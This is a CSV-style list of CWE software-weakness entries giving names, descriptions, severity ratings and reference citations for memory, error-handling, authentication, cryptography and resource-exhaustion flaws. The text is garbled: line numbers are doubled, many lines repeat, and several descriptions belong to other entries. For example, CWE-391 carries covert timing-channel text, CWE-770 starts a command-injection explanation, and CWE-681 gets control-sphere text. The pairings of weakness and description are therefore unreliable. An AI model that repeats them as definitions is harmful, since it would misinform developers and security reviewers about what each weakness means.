546 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,"24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183"
546 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,"24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183"
547547 CWE-391,Unchecked Error Condition (Type: Base),"Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.
548548 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
549 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,
549 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,medium,
550550 CWE-401,Improper Release of Memory Before Removing Last Reference (Memory Leak) (Type: Base),"The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.
551 This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.",,medium,How to Break Software Security
551 This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.",,medium,How to Break Software Security
552552 CWE-460,Improper Cleanup on Thrown Exception (Type: Variant),"The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.
553 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,medium,
553 In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.",,medium,
554554 CWE-468,Incorrect Pointer Scaling (Type: Base),"In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.
555 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,medium,"The Art of Software Security Assessment: Chapter 6, ""Pointer Arithmetic"", Page 277."
555 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,medium,"The Art of Software Security Assessment: Chapter 6, ""Pointer Arithmetic"", Page 277."
556556 CWE-469,Use of Pointer Subtraction to Determine Size (Type: Base),"The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.
557 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,medium,
557 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,medium,
558558 CWE-476,NULL Pointer Dereference (Type: Base),"A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
559 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,medium,
559 NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.",,medium,
560560 CWE-484,Omitted Break Statement in Switch (Type: Base),"The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
561 This can lead to critical code executing in situations where it should not.",,medium,"The Art of Software Security Assessment: Chapter 7, ""Switch Statements"", Page 337."
561 This can lead to critical code executing in situations where it should not.",,medium,"The Art of Software Security Assessment: Chapter 7, ""Switch Statements"", Page 337."
562562 CWE-487,Reliance on Package-level Scope (Type: Variant),"Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.
563 If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.",,medium,
563 If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.",,medium,
564564 CWE-492,Use of Inner Class Containing Sensitive Data (Type: Variant),"Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.
565565 Data can ""bleed"" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.
566 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,medium,
566 In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.",,medium,
567567 CWE-494,Download of Code Without Integrity Check (Type: Base),"The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
568568 An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.",,medium,"Introduction to Code Signing: http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx
569569 Authenticode: http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx
571571 Secure Software Updates: Disappointments and New Challenges: http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf
572572 24 Deadly Sins of Software Security: ""Sin 18: The Sins of Mobile Code."" Page 267
573573 Top 25 Series - Rank 20 - Download of Code Without Integrity Check: http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/
574 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
574 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
575575 CWE-498,Cloneable Class Containing Sensitive Information (Type: Variant),"The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.
576 Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.",,medium,
576 Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.",,medium,
577577 CWE-502,Deserialization of Untrusted Data (Type: Variant),"The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
578578 It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.
579579 Data that is untrusted can not be trusted to be well-formed.",,medium,"Unserializing user-supplied data, a bad idea: http://heine.familiedeelstra.com/security/unserialize
580 Why Python Pickle is Insecure: http://nadiana.com/python-pickle-insecure"
580 Why Python Pickle is Insecure: http://nadiana.com/python-pickle-insecure"
581581 CWE-532,Information Exposure Through Log Files (Type: Variant),"Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.
582 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,medium,
582 While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.",,medium,
583583 CWE-602,Client-Side Enforcement of Server-Side Security (Type: Base),"The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
584 When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.",,medium,"Writing Secure Code: Chapter 23, ""Client-Side Security Is an Oxymoron"" Page 687"
584 When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.",,medium,"Writing Secure Code: Chapter 23, ""Client-Side Security Is an Oxymoron"" Page 687"
585585 CWE-665,Improper Initialization (Type: Base),"The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
586586 This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.",,medium,"Exploiting Uninitialized Data: http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip
587587 MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability: http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx
588 The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
588 The Art of Software Security Assessment: Chapter 7, ""Variable Initialization"", Page 312."
589589 CWE-754,Improper Check for Unusual or Exceptional Conditions (Type: Class),"The software does not check or improperly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.
590590 The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.
591591 Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.",,medium,"The Art of Software Security Assessment: Chapter 7, ""Program Building Blocks"" Page 341
592592 The Art of Software Security Assessment: Chapter 1, ""Exceptional Conditions,"" Page 22
593593 24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183
594 Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions: http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/"
594 Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions: http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/"
595595 CWE-778,Insufficient Logging (Type: Base),"When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.
596 When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Accountability"", Page 40."
596 When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.",,medium,"The Art of Software Security Assessment: Chapter 2, ""Accountability"", Page 40."
597597 CWE-780,Use of RSA Algorithm without OAEP (Type: Variant),"The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
598598 Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.",,medium,"RSA Problem: http://people.csail.mit.edu/rivest/RivestKaliski-RSAProblem.pdf
599 Optimal Asymmetric Encryption Padding: http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding"
599 Optimal Asymmetric Encryption Padding: http://en.wikipedia.org/wiki/Optimal_Asymmetric_Encryption_Padding"
600600 CWE-908,Use of Uninitialized Resource (Type: Base),"The software uses a resource that has not been properly initialized.
601 This can have security implications when the associated resource is expected to have certain properties or values.",,medium,Exploiting Uninitialized Data: http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip
601 This can have security implications when the associated resource is expected to have certain properties or values.",,medium,Exploiting Uninitialized Data: http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip
602602 CWE-909,Missing Initialization of Resource (Type: Base),"The software does not initialize a critical resource.
603 Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.",,medium,
603 Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.",,medium,
604604 CWE-910,Use of Expired File Descriptor (Type: Base),"The software uses or accesses a file descriptor after it has been closed.
605 After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.",,medium,
605 After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.",,medium,
606606 CWE-911,Improper Update of Reference Count (Type: Base),"The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.
607 Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.",,medium,Windows Kernel Reference Count Vulnerabilities - Case Study: http://j00ru.vexillium.org/dump/zn_slides.pdf
607 Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.",,medium,Windows Kernel Reference Count Vulnerabilities - Case Study: http://j00ru.vexillium.org/dump/zn_slides.pdf
608608 CWE-94,Improper Control of Generation of Code (Code Injection) (Type: Class),"The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
609609 When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.
610 Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.",,medium,"24 Deadly Sins of Software Security: ""Sin 3: Web-Client Related Vulnerabilities (XSS)."" Page 63"
610 Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.",,medium,"24 Deadly Sins of Software Security: ""Sin 3: Web-Client Related Vulnerabilities (XSS)."" Page 63"
611611 CWE-95,Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection) (Type: Base),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. ""eval"").
612612 This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.",,medium,"No description: http://www.rubycentral.com/book/taint.html
613 The Art of Software Security Assessment: Chapter 18, ""Inline Evaluation"", Page 1095."
613 The Art of Software Security Assessment: Chapter 18, ""Inline Evaluation"", Page 1095."
614614 CWE-287,Improper Authentication (Type: Class),"When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
615615 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,high,"Weak Password Brings 'Happiness' to Twitter Hacker: http://www.wired.com/threatlevel/2009/01/professed-twitt/
616616 Top 10 2007-Broken Authentication and Session Management: http://www.owasp.org/index.php/Top_10_2007-A7
617617 Guide to Authentication: http://www.owasp.org/index.php/Guide_to_Authentication
618618 Authentication: http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx
619 Writing Secure Code: Chapter 4, ""Authentication"" Page 109"
619 Writing Secure Code: Chapter 4, ""Authentication"" Page 109"
620620 CWE-306,Missing Authentication for Critical Function (Type: Variant),"The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
621621 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,high,"The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authentication,"" Page 36
622622 Top 25 Series - Rank 19 - Missing Authentication for Critical Function: http://blogs.sans.org/appsecstreetfighter/2010/02/23/top-25-series-rank-19-missing-authentication-for-critical-function/
623 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
623 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
624624 CWE-319,Cleartext Transmission of Sensitive Information (Type: Base),"The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
625625 Many communication channels can be ""sniffed"" by attackers during data transmission. For example, network traffic can often be sniffed by any attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.",,high,"Top 10 2007-Insecure Communications: http://www.owasp.org/index.php/Top_10_2007-A9
626626 Writing Secure Code: Chapter 9, ""Protecting Secret Data"" Page 299
627627 24 Deadly Sins of Software Security: ""Sin 22: Failing to Protect Network Traffic."" Page 337
628 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
628 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
629629 CWE-327,Use of a Broken or Risky Cryptographic Algorithm (Type: Base),"The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.
630630 The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.",,high,"Applied Cryptography: http://www.schneier.com/book-applied.html
631631 Handbook of Applied Cryptography: http://www.cacr.math.uwaterloo.ca/hac/
635635 Writing Secure Code: Chapter 8, ""Cryptographic Foibles"" Page 259
636636 24 Deadly Sins of Software Security: ""Sin 21: Using the Wrong Cryptography."" Page 315
637637 Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm: http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-rank-24-use-of-a-broken-or-risky-cryptographic-algorithm/
638 The Art of Software Security Assessment: Chapter 2, ""Insufficient or Obsolete Encryption"", Page 44."
638 The Art of Software Security Assessment: Chapter 2, ""Insufficient or Obsolete Encryption"", Page 44."
639639 CWE-330,Use of Insufficiently Random Values (Type: Class),"The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.
640640 When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.",,high,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
641641 Building Secure Software: How to Avoid Security Problems the Right Way
642642 Writing Secure Code: Chapter 8, ""Using Poor Random Numbers"" Page 259
643 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
643 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
644644 CWE-400,Uncontrolled Resource Consumption (Resource Exhaustion) (Type: Base),"The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume more resources than intended.
645645 Limited resources include memory, file system storage, database connection pool entries, or CPU. If an attacker can trigger the allocation of these limited resources, but the number or size of the resources is not controlled, then the attacker could cause a denial of service that consumes all available resources. This would prevent valid users from accessing the software, and it could potentially have an impact on the surrounding environment. For example, a memory exhaustion attack against an application could slow down the application as well as its host operating system.
646646 Resource exhaustion problems have at least two common causes:
648648 Confusion over which part of the program is responsible for releasing the resource",,high,"Detection and Prediction of Resource-Exhaustion Vulnerabilities: http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf
649649 Resource exhaustion: http://cr.yp.to/docs/resources.html
650650 Resource exhaustion: http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt
651 Writing Secure Code: Chapter 17, ""Protecting Against Denial of Service Attacks"" Page 517"
651 Writing Secure Code: Chapter 17, ""Protecting Against Denial of Service Attacks"" Page 517"
652652 CWE-434,Unrestricted Upload of File with Dangerous Type (Type: Base),"The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.
653653 If code is stored in a file with an extension such as "".inc"" or "".pl"", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.",,high,"Dynamic File Uploads, Security and You: http://shsc.info/FileUploadSecurity
654654 8 Basic Rules to Implement Secure File Uploads: http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/
655655 Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type: http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/
656656 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
657 The Art of Software Security Assessment: Chapter 17, ""File Uploading"", Page 1068."
657 The Art of Software Security Assessment: Chapter 17, ""File Uploading"", Page 1068."
658658 CWE-64,Windows Shortcut Following (.LNK) (Type: Variant),"The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.
659 The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.",,high,
659 The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.",,high,
660660 CWE-681,Incorrect Conversion between Numeric Types (Type: Base),"When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.
661 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,high,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
661 Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.",,high,"The Art of Software Security Assessment: Chapter 6, ""Type Conversions"", Page 223."
662662 CWE-732,Incorrect Permission Assignment for Critical Resource (Type: Class),"The software specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
663663 When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.",,high,"The Art of Software Security Assessment: Chapter 9, ""File Permissions."" Page 495.
664664 Building Secure Software: How to Avoid Security Problems the Right Way: Chapter 8, ""Access Control."" Page 194.
665665 Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response: http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response
666 Federal Desktop Core Configuration: http://nvd.nist.gov/fdcc/index.cfm"
666 Federal Desktop Core Configuration: http://nvd.nist.gov/fdcc/index.cfm"
667667 CWE-770,Allocation of Resources Without Limits or Throttling (Type: Base),"The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on how many resources can be allocated, in violation of the intended security policy for that actor.
668668 Command injection vulnerabilities typically occur when:
669669 1. Data enters the application from an untrusted source.
674674 Resource exhaustion: http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt
675675 Writing Secure Code: Chapter 17, ""Protecting Against Denial of Service Attacks"" Page 517
676676 Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling: http://blogs.sans.org/appsecstreetfighter/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/
677 The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
677 The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
678678 CWE-771,Missing Reference to Active Allocated Resource (Type: Base),"The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.
679 This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.",,high,
679 This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.",,high,
680680 CWE-772,Missing Release of Resource after Effective Lifetime (Type: Base),"The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.
681 When a resource is not released after use, it can allow attackers to cause a denial of service.",,high,
681 When a resource is not released after use, it can allow attackers to cause a denial of service.",,high,
682682 CWE-773,Missing Reference to Active File Descriptor or Handle (Type: Variant),"The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.
683 This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.",,high,
683 This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.",,high,
684684 CWE-774,Allocation of File Descriptors or Handles Without Limits or Throttling (Type: Variant),"The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.
685 This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.",,high,"The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
685 This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.",,high,"The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
686686 CWE-775,Missing Release of File Descriptor or Handle after Effective Lifetime (Type: Variant),"The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.
687 When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.",,high,"The Art of Software Security Assessment: Chapter 10, ""File Descriptor Leaks"", Page 582."
687 When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.",,high,"The Art of Software Security Assessment: Chapter 10, ""File Descriptor Leaks"", Page 582."
688688 CWE-804,Guessable CAPTCHA (Type: Base),"The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.
689689 An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.
690690 There can be several different causes of a guessable CAPTCHA:
692692 A question is generated that with a format that can be automatically recognized, such as a math question.
693693 A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
694694 A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.
695 Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.",,high,Insufficient Anti-automation: http://projects.webappsec.org/Insufficient+Anti-automation
695 Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.",,high,Insufficient Anti-automation: http://projects.webappsec.org/Insufficient+Anti-automation
696696 CWE-805,Buffer Access with Incorrect Length Value (Type: Base),"The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
697697 When the length value exceeds the size of the destination, a buffer overflow could occur.",,high,"Writing Secure Code: Chapter 6, ""Why ACLs Are Important"" Page 171
698698 Address Space Layout Randomization in Windows Vista: http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx
702702 Safe C String Library v1.0.3: http://www.zork.org/safestr/
703703 Using the Strsafe.h Functions: http://msdn.microsoft.com/en-us/library/ms647466.aspx
704704 Understanding DEP as a mitigation technology part 1: http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
705 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
705 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
706706 CWE-806,Buffer Access Using Size of Source Buffer (Type: Variant),"The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.
707707 When the size of the destination is smaller than the size of the source, a buffer overflow could occur.",,high,"Using the Strsafe.h Functions: http://msdn.microsoft.com/en-us/library/ms647466.aspx
708708 Safe C String Library v1.0.3: http://www.zork.org/safestr/
709709 Address Space Layout Randomization in Windows Vista: http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx
710710 Limiting buffer overflows with ExecShield: http://www.redhat.com/magazine/009jul05/features/execshield/
711711 PaX: http://en.wikipedia.org/wiki/PaX
712 Understanding DEP as a mitigation technology part 1: http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx"
712 Understanding DEP as a mitigation technology part 1: http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx"
713713 CWE-807,Reliance on Untrusted Inputs in a Security Decision (Type: Base),"The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
